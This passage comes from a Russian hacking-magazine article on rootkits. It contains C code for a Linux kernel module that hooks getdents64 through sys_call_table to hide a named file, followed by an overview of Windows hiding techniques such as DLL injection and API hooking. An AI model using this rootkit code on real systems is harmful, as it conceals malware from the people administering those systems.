В прятки с мистером Бондом Андрей Семенюченко Спецвыпуск: Хакер, номер #070, стр. 070-046-4 unsigned short d_reclen; unsigned char d_type; char d_name[0]; } *dirp2, *dirp3; // Имя файла, который нужно спрятать char file_hide[] = "file_to_hide"; // Определим длину записей в директории unsigned int bak, n; int bak2; bak = (*real_getd)(fil,dirp,cnt); if (bak>0) { // Выделим память для структуры в пространстве ядра и скопируем в нее содержимое каталога dirp2 = (struct dirent64 *)kmalloc(bak,GFP_KERNEL); copy_from_user(dirp2,dirp,bak); // Задействуем вторую структуру и сохраним значение длины записей в каталоге dirp3 = dirp2; bak2 = bak; //Ищем наш файл while (bak2>0) { // Считываем длину первой записи d_reclet и определяем оставшуюся длину записей в директории n = dirp3->d_reclen; bak2 -= n; // Проверяем на совпадение имени файла с текущей записью if (strstr((char *)&(dirp3->d_name), (char *)&file_hide) != NULL) { //В случае удачи затираем запись и вычисляем новое значение длины каталога memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, bak2); bak -= n; } // Продвигаем указатель на следующую запись и ищем дальше dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen); } // Возвращаем результат copy_to_user(dirp,dirp2,bak); kfree(dirp2); } // Возвращаем значение длины записей в каталоге return bak; } // Cтандартные функции инициализации и выгрузки модуля int init_module(void) { real_getd = sys_call_table[SYS_getdents64]; sys_call_table[SYS_getdents64]=our_getd; return 0; } void cleanup_module() { sys_call_table[SYS_getdents64]=real_getd; } В Windows также распространены руткиты. Причем обстроиться в этой среде зловреду будет гораздо легче. Ведь большинство пользователей работают в системе с правами администратора, в то время как в юникс права root, необходимые для инсталляции подавляющего большинства rootkit, нужно еще получить с помощью использования уязвимостей. В Windows используются следующие пути сокрытия программ в системе: 1) Использование внутренних структур операционной системы. Внутренние структуры Windows недокументированны или слабо документированы, к тому же они меняются от версии к версии. Это сложная и трудоемкая работа, поскольку заставляет хакеров выполнять дополнительную работу по анализу кода. Но игра стоит свеч, поскольку данный подход позволяет скрыть процесс от большинства специализированных утилит, в том числе, например, от Task Manager. 2) Перехват вызова API-функций и внедрение dll. Наиболее популярный метод. Существует несколько способов внедрения dll: внедрение с помощью ловушек, реестра, удаленных потоков. Но, несмотря на то, что внедрение DLL в адресное пространство процесса — это замечательный способ узнать о том, что происходит в процессе, простое внедрение DLL не дает достаточной информации, а тем более не позволяет изменять поведение какой-либо функции. Таким образом, более эффективен и распространен метод перехвата вызова API-функций. Поскольку вызовы системных API-функций производятся приложениями через таблицы импорта/экспорта или через адрес, полученный с помощью функции GetProcAddress, то можно реализовать специальный код в dll-библиотеке, который будет внедряться в адресные пространства запущенных в системе процессов. Это позволит контролировать любое запущенное приложение. |